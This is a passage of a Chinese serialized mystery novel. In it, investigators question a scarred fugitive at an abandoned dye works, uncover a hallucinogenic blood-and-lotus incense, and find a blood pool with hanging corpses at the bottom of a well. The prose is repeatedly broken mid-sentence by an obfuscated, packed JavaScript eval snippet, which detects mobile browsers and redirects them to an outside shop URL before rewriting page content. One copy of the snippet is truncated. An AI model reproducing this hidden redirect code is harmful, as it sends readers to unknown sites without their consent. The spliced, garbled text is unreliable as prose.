“然后呢?”珊瑚见他停下,急忙问道。 “他的娘亲被活活烧死在屋中,你们见过他没?他脸上那些疤痕便是那次屋子起火时造成的。” 珊瑚喃喃道:“这也太可怜了吧?” “谁说不是呢……”小二哥附和一句,继续道:“好在那时他已有自理能力,便接过她娘亲的摊子,去山上采那些常见的香材下山卖。” “那怎么后来又去拣香坊当起了伙计?” 小二哥微叹一声,就像是为他鸣不平道:“他脸上丑,好多店铺的掌柜的都不愿收他采来的香材。慢慢的他没什么赚头,便也不再上山吃那些苦了,” “原来如此……”冷萤听着,颇有些唏嘘。 小二哥见不光是二位姑娘,就连方才坐在一旁的那位面无表情的黑衣公子哥,和那位长相有些奇怪的小少年,脸上也露出了些许同情之色。 冷萤思虑片刻,还是问出了声:“那怎么……” “姑娘你是想问,为何程平会杀人吧?”小二哥倒是个爽快人,一下就说出了冷萤心中之想。 见浅衣姑娘点了点头,他复又继续道:“说有人在他家搜出了一个莲花座香插,再加上陆掌柜死前,曾去拣香坊找过他。所以……” “就因为这两点,便说他是那连环杀人案的凶手?”珊瑚简直不敢置信。 前面死的那几人查都不查,便如此断定他是凶手了? “是啊……所以他跑了。”小二哥淡定道。 他丢下这句话,便弯了下腰表示自己要去干活了,直到他已经去别桌招待客人,几人才彻底回过了神。 “跑了好啊,抓回去谁知道会被怎么对待。”珊瑚第一反应便是这个。 冷萤与方骅倒是眉头越皱越紧。 方骅虽是当官之人,但他想的并不是别的什么原因,而是怕程平在逃跑途中,被那些人抓住直接杀了灭口。 冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547111|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萤与他的想法一样,她不仅怕程平被灭口,还想着他一辈子已经够苦了,万一被害死后,连个辩解的机会也没了,那这骂名便会永远跟着他。 那他又何其无辜,要平白遭受这些? “说起这件事,”这时,方骅开口说话了:“那夜我们跟着陆引过去时,她与程平提到了一个地方。” 一直在闷声吃东西,安静听几人分析案情的姜小四,突然想起了什么。 (是染坊吗?) 方骅点点头。 他们还商量过,等打听完胭脂铺的事,便去寻那家染坊。谁知,一旦找到别的线索,竟将此事忘得一干二净。 此时,小二哥又端着吃的过来。 珊瑚眼睛一亮,激动道:“今日是什么好日子,居然点了这么多吃的。” “你跑腿的好日子。”方骅面无表情地答道。 珊瑚一听顿时了没食欲,查案真的太累了。特别是不能随时吃东西这一点,更加让她烦躁。 见小二哥送了东西又准备走,心情郁闷的她随口喊了声:“喂,小二哥。” 对方听见,端着托盘回头问她啥事。 “沉水镇有染坊吗?”她不抱希望地问道。 她可不想再为了查个案子跑断腿了,明知道对方有可能不知道,但还是忍不住带着问了一句。 小二哥想了想,沉吟片刻道:“染坊?有倒是有……” 他话还未说完,便被激动的珊瑚打断:“什么?你还真知道?在哪里在哪里?” 对方见她一脸兴奋,满脸不解地摇了摇头,仿佛不懂她在高兴什么。 “这位姑娘,我话还没说完呢。”小二哥连忙开口解释:“以前确实有一家染坊。那不是……我们镇太小了嘛,后来没能开下去,便就此荒废了。那染坊地处偏僻,至今那处都无人接手呢。” “那请问小哥,那染坊在哪处?”冷萤执着问道。 小二哥伸手为他们指明方向,嘴里念叨着:“从我们店出去后,朝直走。走到底之后北边有条小道,转过去一直走到底,便到了。” 第一百二十章 染坊 “这边转弯……一直走到底……” 珊瑚走在前头找路,另外三人则四处探查他们走的这条道有没有岔路口。 那小二哥同他们说过了,左转后就一直走到底,便到了染坊。 但不知怎的,今日明明天气晴好,却在他们转过弯的下一瞬,天色整个变得阴沉起来。 他们走了差不多一个时辰了,前方瞧着一直有路,但总也走不到尽头。 累得不行的珊瑚,叉着腰等他们走过来,嘴里有气无力道:“这破染坊怎么这么远?难怪会开不下去,这来一趟染件衣裳回去还得裁。” 冷萤也是累到不想说话。 这是她出远门后第一次不想继续走路,只想坐下来歇一歇。 “休息一下吧?”方骅见她累得快走不动了,拿出水袋递给她。 珊瑚一看有水喝,也不在原地等了,巴巴地跑过来等着冷萤喝完。 今日的水喝起来都格外甘甜,冷萤难得喝了好几口,放下水袋才见珊瑚在一旁等着,正准备递给她,水袋却被方骅接了过去。 “喂,你的心是黑的吗?”珊瑚怒了。 方骅垂下眼睫,低头在包里拿出一个水袋:“这是你的。”然后又拿出另一个递给姜小四:“你的。” “至于嘛,你背得不重?我和冷姐姐不用分这么清楚,喝一袋就行。”她嘴上虽是嘀咕着,倒也是乖乖地接了过来。 方骅见她嘴上抗拒,手来得倒是挺快的,面无表情说了句:“是挺重的,喝完自己拿着。” 珊瑚咕噜咕噜一口气将水袋里的水全部饮完,嘚瑟地甩了甩:“稀罕,我求你帮忙带了吗?” 冷萤见状,也想拿回自己的水袋。她真的不知道方骅心这么细,还给每个人准备了喝的。 “太重了,我帮你背。”方骅垂首看着她,目光深邃。 本来得意甩着水袋的珊瑚,笑容一下子僵在脸上,嘴里“切”了声:“就你能耐,你力气最大,呵……” 一旁的姜小四安静喝着水,眼观鼻鼻观心,喝完就乖乖到一旁坐着休息了。 见从未喊过累的少年也抵不住路途遥远,方骅干脆将包里带的吃食也拿出来分了分。 几人席地而坐,吃饱喝足休整好后,才又继续出发朝前走。 不知是不是刚补充完体力的原因,几人这次走了没多久,便瞧见一片荒地中伫立着一座院落,想来便是小二哥说的染坊。 那座染坊外墙早已剥落,露出了里面斑驳灰暗的砖石。 几人走近了些,才瞧见门楣上挂着一块褪色了的招牌,上面的字迹早已模糊,但“染坊”两个字,还是能够辨认出的。 “这得多久没人进去过啊……”珊瑚瞧着院落屋顶上覆盖着厚厚的青苔和枯黄的落叶,喃喃自语了一句。 好赖他们是白日过来,这要是在大晚上,还真是有些恐怖。 慢慢地走到大门前,他们发现门扉半掩着,空气中弥漫着淡淡的木板腐朽的气味和潮湿的霉味。 方骅伸手将门推开,刺耳的开门声打破了平静。 跟在他身后的几人也陆续走进了染坊,首先映入眼帘的,便是好多个碎裂不完整的大染缸。 染缸的上方,挂着几块褪色破烂的布匹,即便此时有风吹过,也无法将已变得干硬的布匹吹动。 门廊下,木柱子上布满了虫蛀的痕迹,阴郁、沉重的气息扑面而来,冷萤开口:“这里并不像近期有人来过的痕迹。” 枯黄的草丛里爬虫肆虐,这样的环境,应该不会有人长期待在这里。 方骅目光如鹰,将染坊里的每一处角落都细细打量一番后,才开口道:“有人来过。” “你又知道了?”珊瑚讥讽一句,见不得他惜字如金的模样。 懒得同她多说,方骅盯着地上某一块地方许久,随后仿佛被什么指引,慢步来到一口水井前。 染坊里有水井并不奇怪,冷萤不懂他为何会突然在那里停下脚步,并且眼神像是要盯穿那口水井似的一直看着。 她也好奇地跟了过去,却发现这处水井早已干涸,井里一滴水也没有。 几人正研究时,陈全从墙那处跃了进来:“主子,有一群人正往这边来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547112|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的突然出现将珊瑚吓得不轻,正想给他两下,突然听见了他说的话表情倏然一怔。 陈全方才守在客栈外等凌风离开,然后一直盯着对方走出了沉水镇,将手下安排继续跟着对方,他自己则按照方骅给他留的路线赶了过来。 本来是赶过来汇报情况的。 谁知在赶过来的路上,他瞧见一群人正托着什么东西往主子给他的路线行去。当即便顾不得其他,铆足了劲连跑带跃,赶在那些人前面过来报信。 方骅一听,忙对其他人道:“先出去!” 言毕,一群人小心翼翼地离开此处,姜小四是最后一个走出的,离开时还不忘贴心地将大门恢复成他们进门前的角度。 刚找到地方藏好,他们便看见不远处有几个穿着打扮像是沉水镇村民模样的男人,拖着一个长条状裹得严严实实的东西走近。 他们的行径很奇怪,到了染坊门口后并未从大门进入 ,而是选择与陈全一样,自那破败的一碰就可能会倒的围墙一个个跳进去。 即便他们带来的东西托举起格外沉重,他们也诡异地不走正门。 全程充斥着一股作贼心虚的模样。 直到等着他们几人全部进了染坊,方骅动了动手,陈全便从他们身边消失了。 “我们不去瞧瞧吗?”冷萤问道。 万一陈全一个人有危险怎么办? 方骅只答:“他可以。” “冷姐姐,他以后也会这么对你的。”珊瑚趁机挑拨离间。 “怎么这么清楚,是有人这样对过你吗?”方骅嘴上也一点不饶人。 “你!”珊瑚啐道:“心狠嘴坏!” 这俩又开始了!冷萤苦笑。 姜小四倒是心大,几人说话时他已经靠在墙边眯着了。 半晌,他微眯的双目睁开,白瞳一瞬间朝陈全离去的方向看过去。 陈全回来时,手里还提溜着一个人。 “程平?”珊瑚惊呼。 程平一脸尴尬地被陈全拎着,伸手朝几人挥了挥,权当打了个招呼。 第一百二十一章 血莲 “主子,他们进去后将运来的东西投入了井中,然后从另一侧爬墙离开了。” 陈全汇报之余,顺手将程平放在了地上,又继续道:“那些人走后,我在染坊后院的柴房处找到了他。” 见终于提到了自己,程平开口道:“各位,好久不见!” 在得知他的过往后,几人再次见到他,又瞧着他的态度与上次浑身长满尖刺的样子大相径庭,不由同时沉默了。 他这样小心翼翼,是不是以为他们信了那些传言,会报官将他抓回去? 还是方骅首先打破了众人的沉默,问道:“你怎么会在这里。” 陈全见没他啥事,抬脚转瞬就没了人影。 程平低头,找了处干净的地方,与他们一同席地而坐,回道:“沉水镇哪里还有我的容身之处?我不到这里来,也没什么地方可去了。” 在场的人,当然知道他说的是实话。 初见他时,他面容尽毁虽自卑却也不屈冷漠。 此次再见,不知是因为被众人怀疑又孤立无援的原因,他整个人坐在那里缩成一团,甚至连脊背都不敢完全挺直。 冷萤思忖许久,才淡淡开口:“那个莲花座香插……” 程平一听整个人抖了下,倏然抬头看向她,问道:“你们还在怀疑我?” “自然不是。”冷萤用平生最快的语速回道。 见对方不信,她又继续道:“就是因为不信是你做的,我们才会选择到这里来找线索。” 一直盯着她的男人,这时才微微垂下眼眸,整个人又缩了回去,小声道:“谢谢你们信我。” 停顿片刻后,他的声音微微大了些:“还以为,从今以后便只能信自己了。没想到,居然还有人愿意同我站在一起。” 许久未出声的方骅,不知是不是终于忍不住了,开口说道:“你所求的,难道就只是这个?那你也对自己太不负责了。” 对方的一句话,让本来脸色已经好转些的程平,又倏地僵住了。 他看向无论何时见面,表情永远严肃的男人,颤抖着本就奇怪的语调问道:“此话怎讲?” 方骅冷声道:“男子汉,铁骨铮铮!你该做的是揪出幕后黑手还自己清白,不是自己做的事情半分都不能认下。而不是在几个本就信任你的人面前,得到一些微末的满足感,这不过是……” “感动了自己罢了!”他毫不留情指出问题所在。 此话一出,程平情绪顿时激动了起来,他嘶哑着嗓音道:“你以为我不想吗?可我又算什么?谁会听我说哪怕一句话?我这张脸一摆在那儿,就注定了没人会认真听完我说的每句话!” “喔?”方骅挑眉:“所以……我们不是人?” 下一刻,一个布包挡住了方骅略带嘲讽的表情。 他随手扯下挡住他视线的东西,转头一看发现是冷萤,竟又主动将布包提了过来,以为她是太累不想拿了。 冷萤没理他,她其实知道方骅说的句句在理,这是能最快点醒程平,让他将这段时日发现之事尽快说出的最佳方式。 但……她怕两方会突然打起来。 不对,是三方。眼见着,珊瑚已在旁虎视眈眈想趁乱动手给方骅两下子了。 她转过身,示意姜小四拿点吃的。对方立即明白了她的意思,翻了块素饼递给了程平。 程平大概是饿了太久了,接过饼就毫不客气地吃了起来,完全顾不上说话。 冷萤找出自己的水袋正准备递过去,方骅的动作比她更快。 视线在两人同时送过来的水袋之间滑了下,程平当然是选择接过方骅手中的。不过他伸手时,正眼都没瞧上对方一眼。 众人耐心等他填饱肚子,直到他放下水袋,举起袖口擦了下嘴。 冷萤见状,再次柔声问道:“现在可以把你知道的,告诉我们吗?” 吃饱喝足的程平,垂眼瞧着手中空空如也的水袋,半晌后才缓缓点了下头。 见他同意,方骅迫不及待地问道:“你长期待在拣香坊中,庭院里养的那些死士,你清楚吗?” “清楚。” “知道是谁将那些死士弄到拣香坊的吗?” 程平摇头:“这个不清楚,我只被允许在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547113|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院守着那些线香与香材。即便是落雨,都不能迈进拣香坊大门一步。除了那些守卫,我就只见过一位戴面具的人常年自那里进出。” 珊瑚听罢,有一点想不通:“他们那么大的阵仗,你一点风声都未听见过?” “听到过?” “什么?” 程平:“守卫不喂东西给那些人时,他们便会不停地嚎叫锤门。拣香坊围墙高,里面那些声音除了守门的人,外人基本是听不见的。” 冷萤问:“喂的……是那些所谓的回生之香吗?” 他一听,顿时冷笑出声:“呵……回生之香,这名字取得也太讽刺了。明明就是些害人性命的香!” “此话怎讲?” 他皱眉道:“你们这样问,应当是已进过拣香坊了,就没闻出用香调制出的液体气味不对吗?那些液体若长久未用完,便会散发出浓烈的腥臭味,我每每闻着都想作呕。” “这么大的气味,路过此地的人难道闻不到吗?”珊瑚好奇地问道。 程平反问他们:“你们不会以为,这些人常年在外院晾晒那么多的线香,真的就只是为了收取那一点加工钱吧?” 原来如此…… “你知道,那些水缸里除了放入‘婴香’外,还放了些别的什么吗?”冷萤接过话问道。 对方想了想,回答她:“有一次夜里我回拣香坊拿东西,瞧见他们不小心落下一个罐子在墙角。我趁人不注意打开闻了闻,是血的味道……” 那液体里面确实渗了血液,冷萤在里面时已经有些感觉到了。 不过,会让那些死士变得如此疯狂,必定不只是掺了鲜血这样简单,那里面应该还加了些别的什么。 一只惨白的手扯了扯冷萤,她因为正在细心思考,所以并未立即反应。 直到有人再次拉了拉她的衣袖,她才回过神,转头发现是姜小四。 (我听师父说过,西域有一种白日开花、夜里闭合的莲花,其汁液能致幻。) 他的形容,让冷萤顿时清醒过来。 方骅听罢,忙问:“如接触,会有什么症状?” 第一百二十二章 致幻 (师父说,那种莲花如果用鲜血调和后饮用,饮用之人情绪会变得特别兴奋,随之立即进入幻梦当中,任人差遣。只是……) “只是什么,你倒是快说啊!”珊瑚越听越急。 (这个长期饮用会让人上瘾,一日不饮全身便如小虫在爬。) (所以,此种莲花在西域是禁止用来制作香材的。这花本就不容易存活,因而一般人无法拥有它。) “于是,你方才听说那液体里有血腥味,才完全确定是此种莲花,对吗?”冷萤替他将余下的话讲完。 姜小四看着她点了点头,指了指四人的鞋袜,又指了指客栈。 (昨夜换下衣裳时,我闻到了一丝不属于婴香的香材气味。) 方骅深思,随之与众人分析:“一般人无法拥有,那沉水镇的百姓更是无法得到。况且这类花还是来自西域,得来更是不易了。” “我虽常年浸染在各色香材中,却从未见过这位小哥提到的莲花。”程平忙说道。 见他终于出声为自己辩驳,冷萤欣慰一笑后,问出自己很早就想问的一件事:“宁幺儿去拣香坊的那一日,你见过她身后跟着一位戴面具的紫衣男人吗?” “……宁幺儿?”程平眼神黯淡一瞬,随后像是突然想到什么,快速回过头对她道:“那日她来时,戴面具的那人早已进去拣香坊,我也并未见过他外出。” 这么说来,那有可能跟着宁幺儿的并不是面具男。 现下他们早已知道,是宁德远骗了宁幺儿,故意让她送这么重的香材去拣香坊,半道上那可疑之人正好借着帮宁幺儿拿东西的机会,顺势接近。 由此可推断,从头至尾其实还有一个人,在暗中操控着这一切。 这个人,会不会便是面具男口中的主人,也是用致幻香控制那一屋子的死士,更是犯下多起杀人案的凶手? 在她沉思时,方骅开口朝程平问道:“对于宁幺儿的死,你查到了什么?” 程平偏头想了想,好似突然想到了什么,有些不好意思地低下了头,一副不知该不该说出口的模样。 “是你跟踪她时发现的吗?”冷萤瞧他的表情,猜测道。 对方一愣,没想到她一猜便中,点点头道:“郝灵死后,我怕她伤心,曾偷听过她与家人的对话。” “说了什么?” “她怀疑胭脂铺有点问题,但她家人让她不要管这种闲事,我记得……她当时是答应了。”程平道。 此话一出,冷萤心里一直以来的疑惑,终于是浮出了水面。 其实她也不知该如何表达,有这样的想法或许是她太敏感。但现下只有这样想,才能将整件事情理顺。 于是,她小声说了句:“其实有一件事,我想了许久。” 方骅好奇道:“说说看?” “那日我与珊瑚去郝家,”她考虑着该如何表达:“郝灵的母亲也说过,她俩关系一直很好。郝灵死前两人还聚在一起,宁幺儿本人……是知道好友死前去过胭脂铺的。” 方骅点头,示意她继续。 “可明知胭脂铺是危险的,宁幺儿为何最后还是去了?一个女孩,不可能会不怕死。” 讲到这里,她深吸了一口气,继续道:“所以有没有可能,她其实是发现了宁德远想将她送过去。但为了查清好友的死因,她并没有深究伯父为何这样做,而是选择了顺水推舟?” 此话一出,程平瞳孔瞬间紧缩。 珊瑚没听懂,懵懂问道:“我不太懂,她为何非要去送死?” “不可能……”此时,满脸疤痕的男人因为激动,五官看起来更加狰狞了,“这绝对不可能,她怎么会这么傻?” 冷萤摇摇头,轻声道:“她不是傻,只是太想为好友报仇,低估了人心的险恶与残忍。” “你是说……”珊瑚感觉自己好像又听懂了:“宁幺儿是想去胭脂铺查清郝灵的死因,恰好发现自己伯父与胭脂铺的人有联系,便装作不知地被带了进去?” 见冷萤朝自己点点头,她一下陷入沉思中,随后又小声说了句:“郝灵死得那样惨,宁幺儿难道不知道吗?这确实是太傻了。” “她怎会不知?”方骅开口道:“她只是没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547114|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己的亲伯父居然真的会将她送上死路。或许在最后一刻,她还在祈祷她那位愚蠢的伯父会进来救她。” 珊瑚这次,难得没有反驳他。 程平一下子懵了,完全不能接受宁幺儿居然是因为这个原因而死,他怎么也没想到,害死宁幺儿的,居然是她的亲伯父! 在终于接受这个事实后,他眼眶一下红了,憋了半天只说了一句:“怎么会这样……” 见他痛苦,几人也找不到言语安慰他,只能等他慢慢平息。 半晌,男人终于察觉到自己失态,抹了把脸嘶哑着嗓音道:“宁幺儿死后,陆引找上了我,问我想不想为宁幺儿报仇。” 听他提起陆引,几人也不意外。 方骅问道:“陆引为何会找你?” 程平摇头,表示自己也不清楚:“她找上我时,只问我想不想。其余的事,我即便是想打听,她一概都不肯告知。” 这倒 是有些出乎几人的意料。 毕竟这几位死者当中,除了第一位死者他们不清楚,陆引与另外几位好像并未有什么交集。 见几人一脸茫然,他继续道:“这次他们在我家中发现的莲花座香插,其实我与陆引都有一个。” 方骅听罢,示意姜小四将包里的香插拿出。 “真是位矜贵的公子哥儿……”珊瑚看不过他总使唤姜小四,啐了一句。 懒理她随时升高的攻击性,方骅举起手中的香插,问程平:“是不是这个?我们在引香坊中找到的” 对方点点头道:“我们就是想知道,那些女孩死后,尸体旁边为何会专门放这种形状的香插。” “得出什么结论了吗?” “没有。我们完全无法理解做出这种举动的人,究竟是存着什么心。”程平老实答道。 “或许……”这时,一旁的冷萤出声了。 所有人的目光,同时看向她。 她斟酌道:“用莲花座香插或许只是凶手的习惯,我们该留心的,当是这个……”她摊开手帕,将上次与珊瑚一起捡到的线香拿了出来。 第一百二十三章 假身份 姜小四上前,拿过那截线香闻了闻,随即又递给程平。 程平接过,在仔细闻过观察过后,得出结论:“这根,只是用婴香炮制出的线香而已。” 少年也赞同地点点头。 居然只是单纯的“婴香”?另外几人瞬间搞不明白了,那凶手的用意究竟在何处? 难道……他做这些并没有任何意义,就只是拿来当作故意挑衅的工具而已? 众人此时商量,只能是无解。 方骅便问起了另一件事:“那日陆引去找你,你们究竟聊了些什么?” 他指的是,他与姜小四跟踪陆引去栈香坊的那夜。 程平听他如此问,并未追究他为何会知道这事,只慢慢开口道:“她那日来找我,不仅查出了胭脂铺的问题,更是发现胭脂铺不定时会送东西到早就空无一人的染坊里。” 方骅明白了:“你的意思是,她那日在与你谈话后便立刻去胭脂铺,是想去查出那些女孩的死因?” “是的。”程平表情有些难过:“我真没用!宁幺儿那次我不知情,错过了救她的机会。结果到了陆引这次,我明明已经知道很危险了,却还是拦不住她。” 他的表情,肉眼可见的颓丧。 “陆引当时为何要独自前去?报官不就好了嘛。”珊瑚着实想不明白,这几位手无缚鸡之力的女子,怎的一个个胆子都这般大。 当然,珊瑚的想法也没错。 程平朝众人解释:“她说自己认识一个人,刚好那日可以带她进胭脂铺,所以当时我才并未多加阻拦。只是答应在她进去以后,守在暗处等她出来。” “她认识的那个人,是一位身穿紫衣的男人吗?”冷萤问他。 他摇摇头:“我说了,她什么都不同我说。” “可是不对呀,”珊瑚疑惑道:“那日你明明守在胭脂铺外,却什么都没看见?” “我看见了。” “谁?” “你们四人。” 好吧…… 珊瑚有些尴尬,正想解释他们那日去胭脂铺的目的,还没来得及便被对方打断。 只见,程平虽面无表情,但表现出很能理解他们的姿态:“我知道和你们没关系,因为我瞧见你们敲了好久,门都没开。” “咳……”更尴尬了。 珊瑚正想转移话题,将他们很不气派的一幕揭过去。突然……她突然想起了,他们是为什么会去敲门。 “更不对了!”她连忙道:“我们是跟着凌风过去的呀?你没瞧见他,却瞧见了我们?” “凌风?”程平皱眉想了想,问道:“他是谁?” “就是在我们前一刻走进胭脂铺的男子,身穿紫衣,是一位云游商人。”珊瑚努力向他形容对方的模样。 程平一听,更疑惑了:“也许我当时岔了一下眼,没见着你说的紫衣男人。但我们沉水镇很少会接待云游商人的,因为有些珍贵的香材只沉水镇才有,所以通常只会允许谈妥的商家进入夜市。” “管得这么严?”珊瑚吃了一惊。 “自然。比如‘婴香’里用到的角沉和龙脑,这些香材在外面压根买不到的。为了杜绝外来的人大肆采购,镇上一般会先售卖给谈妥价的商会。”程平细心与她解释。 怕自己说得不够清楚,他又强调:“当然,一些常见的香材或香具,你们小量购买自用完全没问题。只不过像云游商人那样大肆囤货,肯定是不被允许的。” “所以,他要不是沉水镇的村民,要不便是与沉水镇合作的商会对吗?”冷萤好似明白了对方的意思。 姜小四这时也凑过来。 (我好像也听说过……) “马后炮。”珊瑚吐槽他的后知后觉。 被吐槽了一句,姜小四又将凑过来的脑袋缩了回去。 冷萤这时总算明白了,为何他们去栈香铺里打听事情,还有去个别店内闲逛,掌柜的态度好似都不太热情。 原来,沉水镇里有许多香材是不能随意购买的。 他们居然在来了沉水镇好几日后,才发现了这个关键的问题。 如果自己一早便知道此事,那凌风一开始自我介绍便会露馅了。 方骅从前也听过,一些极个别珍贵物资的产地,确实会有这样的举动。但由于他们都不太懂香材,也不了解这一行,导致忽略了不少。 何况,凌风这个云游商人的身份究竟是不是真的,现在其实已经不是很重要了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547115|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们对这人早已起了疑心,不然不会对方都走出沉水镇了,他还让陈全安排人跟着。 几人说话间,陈全回来了。 “查出什么没有?”方骅问。 陈全见有外人在,附在方骅耳边说了几句。 方骅听罢,小声对他嘱咐了几句什么,陈全这才站起身朝冷萤点了下头,又再次离开了这里。 冷萤瞧着陈全方才所站之处的空地,遗憾道:“陈全忙的话都变少了。” “教育过了。”方骅简洁答了句,然后对程平道:“你现下无处可去,我让陈全给你找了处地方,你好好在里面休息。待水落石出时,我便会安排人来接你。” 程平 一听连忙站起身,朝众人行了一礼:“多谢贵人们,上次你们到拣香坊,在下还那般不礼貌。” “不用客气,我们还要多谢你帮忙提供线索了。”冷萤浅笑道。 此话一出,程平落寞地低下头:“我也希望能尽快找出杀她之人,她死得何其无辜,还被……”后面的话他未完全说出,只是紧咬了下嘴唇,眼中闪过一丝冷意。 没过一会儿,陈全便回来了。 程平与他们道别后,便随着陈全离开。 冷萤道:“记得给陈全加工钱,看他效率多高。” “那把你的工钱匀点给他?”方骅开玩笑道。 正在微笑的冷萤嘴角一僵:“那倒是不用,我天天跟着你东跑西跑,也是很辛苦的。” “我就说他不怎么样吧,现在还变抠了……”珊瑚趁机上来说人小话。 方骅并未在意她们在小声讲什么,只是突然对着几人正色道:“又要辛苦了。陈全查出那口水井里别有洞天,我们一会儿便下去,记得不要被吓到了。”最后一句话,他是对着冷萤讲的。 “呵……”珊瑚冷笑:“本姑娘还没被什么吓到过呢!” 本已走在前面带路的方骅,回头:“行,这次抓到凶手后,请你们吃蛇肉。” “喂!” 珊瑚暴怒刚要骂回去,突然听见冷萤身边,有人发出了一丝极其细微的气音。 冷姐姐自然是不会笑她,那就是…… “姜小四,你居然敢笑我?死定了你!” 第一百二十四章 血池 在几人的合作下,没一会儿他们便顺利到达整口枯井的最底部。 这口井特别深,在他们落到井底的同时,便立刻失去了所有光线的照射,只有手中的火折子在黑暗中摇曳,投射出诡异的光线。 井底空气稀薄,在他们看不见的暗处似乎有什么在涌动着,一种不可见的压迫感让几人的呼吸慢慢变得微弱。 好在他们人多,很快便找到了一处暗门走了进去。 在经过一道长长的,脚下全是黑红色液体的通道时,珊瑚眼尖地看见不远处的壁上有人影在晃动。 她不敢开口说话,怕声音会传到前方让里面的人听了去。那他们淌着这恶心的脏水走了许久,算是白走了。 姜小四这时转过身对着他们做了几下手势,珊瑚和方骅均没看懂,只有冷萤看懂了。 她也抬手朝姜小四动了几下,对方立刻点点头,越过珊瑚优先走到最前面去了。 珊瑚怒瞪了眼将她一屁股挤到后边的少年,又看看她身边的冷萤,满脸不解。 方骅全程走在几人的后边,怕后方突然来人,来不及阻挡。 终于,在几人小心翼翼地动作下,他们来到了井底的最深处。珊瑚本在低头认真看路,防止那些脏水溅到自己与冷萤的鞋面上。 突然她眼前有什么一晃而过,抬起头时,前面的白发少年不见了。 冷萤抬了抬手,示意珊瑚和方骅先不要动。 方骅立即便懂了她的意思,站在两位姑娘身后,防止姜小四失手后突来的危险。 然而,不过一霎,那白发少年的身影便出现在几人面前。 他蹙着眉对三人点头,示意可以进去了。几人顺势跟着他踏进那抹光亮里,下一瞬,他们的表情几乎是同时变得极其恐惧。 扑鼻而来浓烈的腥臭味,夹杂着微弱的香材气味,钻进他们的鼻腔。眼前的场景让几人的心脏几乎停止了跳动。 他们的面前赫然出现了一座血池,池水以一种诡异的深红色呈现在他们眼前,鲜艳的色彩仿佛在告诉他们,池水里有无数个生命在流淌。 几人的目光缓缓地朝上方瞧去。 在血池上方,悬挂着许多尸体,那些尸体体内早已没了血液,肤色苍白如纸,干瘪的肌肉紧贴着骨骼,有一种令人心悸的诡异之感。 血池中,浸润着多块大小不一的琥珀。 大一些的琥珀里包裹着人体骨架,矗立在血池中。原本润黄色的琥珀周身,好似有血线蔓延而上,形成如蜘蛛网一般的几缕血色脉络。 浓烈的艳色与油润的琥珀色交相辉映,在血池的映照下,那些琥珀散发出一抹幽幽的光芒,让在场的所有人都不寒而栗起来。 众人这时才发觉,他们一路踩着走过来的脏水,全是混着血液的黑红血水。 地下的鲜血蔓延开来,使整个井洞看起来如地狱一般可怕。 本就稀薄的空气中弥漫着铁锈味,几人站在血池边,心中涌起一股莫名的恐惧。 冷萤总感觉,这井洞深处,好似有什么东西正在黑暗中窥视着他们。 血池,琥珀,还有那些倒挂着的尸体,形成了一幅令所有人即使只瞧着都不由毛骨悚然的画面。 “我的天……”珊瑚站在血池边,被惊到一句话都说不出。 冷萤的反应同珊瑚差不多,目光惊异到,似是完全不相信她所看到的画面。 方骅则是全程紧盯血池中的琥珀,眉头紧锁着正思考着什么。 只有姜小四,拿着手中的粉末,不停朝地上躺着的几名守卫打扮的人身上洒着。 洒完一人,又跑到另外一人上方洒洒,生怕他们事情都还未搞明白,那些守血池的守卫便一个个醒了过来。 